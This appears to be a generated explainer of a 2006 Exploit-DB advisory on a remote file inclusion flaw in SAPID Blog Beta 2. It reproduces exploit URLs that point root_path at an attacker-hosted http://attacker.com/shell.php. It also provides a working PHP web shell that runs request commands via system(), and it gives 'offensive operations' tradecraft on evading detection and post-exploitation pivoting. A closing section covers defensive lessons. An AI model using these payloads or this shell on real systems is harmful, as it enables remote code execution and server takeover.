Understanding SAPID Blog Beta 2 'ROOT_PATH' Remote File Inclusion

What this paper is

This paper, published in 2006, describes a Remote File Inclusion (RFI) vulnerability in SAPID Blog Beta 2. The vulnerability allows an attacker to include and execute arbitrary PHP files from a remote server by manipulating the root_path parameter. This could lead to full compromise of the web server.

Simple technical breakdown

The SAPID Blog software, in its Beta 2 version, had a weakness in how it handled a configuration variable named root_path. This variable was intended to point to the root directory of the blog's installation. However, the script didn't properly sanitize or validate the input provided for root_path.

When certain PHP files within the blog's usr/extensions/ directory were accessed, they would use the value of root_path to include other PHP files. If an attacker could control root_path and point it to a URL on a server they control, the vulnerable SAPID Blog script would download and execute the PHP file from the attacker's server. This is the essence of a Remote File Inclusion (RFI) vulnerability.

The paper also highlights a variation where the root_path variable is accessed indirectly through PHP's GLOBALS array, which can sometimes be exploited to bypass certain sanitization checks.

Complete code and payload walkthrough

The provided exploit code is not a full script but rather a set of example URLs demonstrating how to trigger the vulnerability. There is no executable code or shellcode provided in the original source content. The "payload" in this context refers to the malicious PHP file that an attacker would host on their own server and cause the vulnerable SAPID Blog to include.

Let's break down the example URLs:

1. http://www.site.com/[sapidblog_path]/usr/extensions/get_blog_infochannel.inc.php?root_path=[evil_scripts]
2. http://www.site.com/[sapidblog_path]/usr/extensions/get_blog_meta_info.inc.php?root_path=[evil_scripts]
3. http://www.site.com/[sapidblog_path]/usr/extensions/get_infochannel.inc.php?root_path=[evil_scripts]
4. http://www.site.com/[sapidblog_path]/usr/extensions/get_tree.inc.php?GLOBALS[root_path]=[evil_scripts]

Explanation of Components:

• http://www.site.com/: This is the target web server where the vulnerable SAPID Blog is installed.
• [sapidblog_path]: This is a placeholder representing the directory path where SAPID Blog is installed on the target server. For example, it could be /sapidblog/ or /blog/.
• /usr/extensions/: This is a specific directory within the SAPID Blog installation that contains the vulnerable PHP files.
• get_blog_infochannel.inc.php, get_blog_meta_info.inc.php, get_infochannel.inc.php, get_tree.inc.php: These are the specific PHP files within usr/extensions/ that are vulnerable. They likely contain code that uses include or require statements with the root_path variable.
• ?root_path=[evil_scripts]: This is the core of the exploit.
  • ?: Indicates the start of the query string parameters.
  • root_path=: This is the vulnerable parameter. The script expects a local path here.
  • [evil_scripts]: This is a placeholder for the URL of a malicious PHP file hosted on an attacker-controlled server. For example, http://attacker.com/shell.php.

Mapping list:

• http://www.site.com/[sapidblog_path]/usr/extensions/get_blog_infochannel.inc.php?root_path=http://attacker.com/shell.php:
  • Practical Purpose: Triggers the get_blog_infochannel.inc.php script. The script will attempt to include a file from http://attacker.com/shell.php because root_path is set to this remote URL. If successful, the code in shell.php will be executed on the target server.
• http://www.site.com/[sapidblog_path]/usr/extensions/get_tree.inc.php?GLOBALS[root_path]=http://attacker.com/shell.php:
  • Practical Purpose: Triggers the get_tree.inc.php script. This variant exploits the GLOBALS array. PHP's GLOBALS is an associative array containing references to all variables which are currently defined as global. If get_tree.inc.php directly or indirectly accesses $GLOBALS['root_path'] to include a file, and the root_path parameter is passed in the query string, this syntax allows the attacker to inject their remote URL into the root_path variable within the global scope. This bypasses potential checks that might be applied to $_GET['root_path'] directly.

Shellcode/Payload Segment Explanation:

There is no shellcode or payload bytes in the provided text. The "payload" is the content of the [evil_scripts] URL. A typical payload for such an RFI would be a simple PHP web shell, like:

<?php
// shell.php
echo "<h1>SAPID Blog RFI Successful!</h1>";
if (isset($_REQUEST['cmd'])) {
    echo "<pre>";
    system($_REQUEST['cmd']);
    echo "</pre>";
}
?>

This shell.php file, when included and executed by the vulnerable SAPID Blog, would:

1. Display a success message.
2. If a cmd parameter is present in the request (e.g., http://www.site.com/...&cmd=ls), it would execute that command on the target server and display the output.

Practical details for offensive operations teams

• Required Access Level: Unauthenticated access to the web server hosting the vulnerable SAPID Blog.
• Lab Preconditions:
  • A target server with SAPID Blog Beta 2 (or a similarly vulnerable version) installed.
  • A separate attacker-controlled server (e.g., a VPS, a local machine with a web server) capable of serving PHP files.
  • Network connectivity between the target and attacker servers.
  • PHP configured on the target server to allow remote file inclusion (e.g., allow_url_fopen = On in php.ini). This is a critical prerequisite.
• Tooling Assumptions:
  • A web browser for manual testing or crafting requests.
  • A command-line HTTP client (like curl) for scripting or advanced testing.
  • A web server (like Apache or Nginx) on the attacker's machine to host the malicious PHP file.
  • A vulnerability scanner might flag this if it checks for common RFI patterns, but manual verification is key.
• Execution Pitfalls:
  • allow_url_fopen disabled: If allow_url_fopen is set to Off in the target server's php.ini, the include and require functions will not be able to fetch remote files, rendering the RFI ineffective.
  • Incorrect [sapidblog_path]: The attacker must correctly identify the installation path of SAPID Blog. Incorrect paths will lead to 404 errors.
  • Firewall/Network Restrictions: The target server might be prevented from connecting to the attacker's server due to firewall rules or network segmentation.
  • Input Sanitization/WAF: Modern Web Application Firewalls (WAFs) or more robust input sanitization in later versions of SAPID Blog (or custom security measures) could block the malicious URL.
  • allow_url_include disabled: While allow_url_fopen is required for fetching the remote file, allow_url_include (if it exists and is disabled) could prevent the inclusion of remote files, even if they are fetched. However, RFI typically relies on allow_url_fopen.
  • File Type Restrictions: If the web server or PHP configuration restricts the types of files that can be executed or included, the malicious PHP payload might not run.
• Tradecraft Considerations:
  • Reconnaissance: Accurately identifying the [sapidblog_path] is crucial. This can be done by observing the structure of the website, looking for common installation directories, or by trying common paths.
  • Payload Hosting: Host the malicious PHP file on a reliable server. Consider using a domain that doesn't immediately raise suspicion.
  • Obfuscation: For more advanced scenarios, obfuscating the [evil_scripts] URL or the payload itself might be necessary to bypass basic detection mechanisms.
  • Post-Exploitation: Once a web shell is achieved, the attacker can use it to explore the server, escalate privileges, or pivot to other systems.

Where this was used and when

• Context: This vulnerability was specific to the SAPID Blog software, particularly its Beta 2 release. It was a common type of vulnerability in web applications developed in PHP during the mid-2000s.
• Approximate Years/Dates: The paper was published on 2006-08-07. Therefore, this vulnerability was actively discussed and likely exploited around 2006.

Defensive lessons for modern teams

• Input Validation is Paramount: Always validate and sanitize user-supplied input, especially when it's used in file operations (like include, require, fopen). Never trust user input.
• Principle of Least Privilege: Ensure that web applications run with the minimum necessary privileges. This limits the impact of a successful exploit.
• Disable Dangerous PHP Configurations:
  • allow_url_fopen should generally be disabled unless absolutely necessary for specific, controlled functionalities.
  • allow_url_include should always be disabled.
• Keep Software Updated: Regularly update all web applications, frameworks, and server software to patch known vulnerabilities. SAPID Blog Beta 2 is very old and unsupported.
• Web Application Firewalls (WAFs): Deploy and properly configure WAFs to detect and block common attack patterns, including RFI attempts.
• File Inclusion Best Practices: If file inclusion is necessary, use whitelisting of allowed files and paths rather than blacklisting. Use absolute paths or paths relative to a trusted base directory.
• Regular Security Audits: Conduct regular code reviews and penetration tests to identify vulnerabilities before attackers do.

ASCII visual (if applicable)

This vulnerability can be visualized as a direct path from the attacker's server to the target server's execution context.

+-----------------+       +-----------------------+       +---------------------+
| Attacker Server | ----> | Target Web Server     | ----> | SAPID Blog Script   |
| (Hosts evil.php)|       | (SAPID Blog installed)|       | (Processes request) |
+-----------------+       +-----------------------+       +----------+----------+
        ^                                                          |
        |                                                          |
        |  [evil_scripts] = http://attacker.com/evil.php           |
        |                                                          |
        +----------------------------------------------------------+
                                                                   |
                                                                   v
                                                         +---------------------+
                                                         | PHP Execution       |
                                                         | (evil.php runs)     |
                                                         +---------------------+

Explanation:
The attacker's server hosts a malicious PHP file (evil.php). The target web server runs SAPID Blog. The attacker crafts a request to the SAPID Blog script, pointing the root_path parameter to their evil.php file. The SAPID Blog script, due to the vulnerability, fetches and executes the code from evil.php on the target web server.

Source references

• Paper URL: https://www.exploit-db.com/papers/2129
• Author: Kacper
• Published: 2006-08-07
• Keywords: PHP, webapps
• Original Source Content: Provided in the prompt.

Original Exploit-DB Content (Verbatim)

$$$$$$$$$$$$$$$ DEVIL TEAM THE BEST POLISH TEAM $$$$$$$$$$$$$$$
$$
$$  SAPID Blog <= Beta 2 (root_path) Remote File Include Vulnerability
$$  Script site: http://sapid.sourceforge.net/
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$              Find by: Kacper (a.k.a Rahim)
$$
$$ Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$  Greetz: DragonHeart, Satan, Leito, Leon, Luzak,
$$           Adam, DeathSpeed, Drzewko, pepi
$$
$$  Specjal greetz: DragonHeart ;-)
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

Expl:

http://www.site.com/[sapidblog_path]/usr/extensions/get_blog_infochannel.inc.php?root_path=[evil_scripts]

http://www.site.com/[sapidblog_path]/usr/extensions/get_blog_meta_info.inc.php?root_path=[evil_scripts]

http://www.site.com/[sapidblog_path]/usr/extensions/get_infochannel.inc.php?root_path=[evil_scripts]

http://www.site.com/[sapidblog_path]/usr/extensions/get_tree.inc.php?GLOBALS[root_path]=[evil_scripts]


#Pozdro dla wszystkich ;-)

# milw0rm.com [2006-08-07]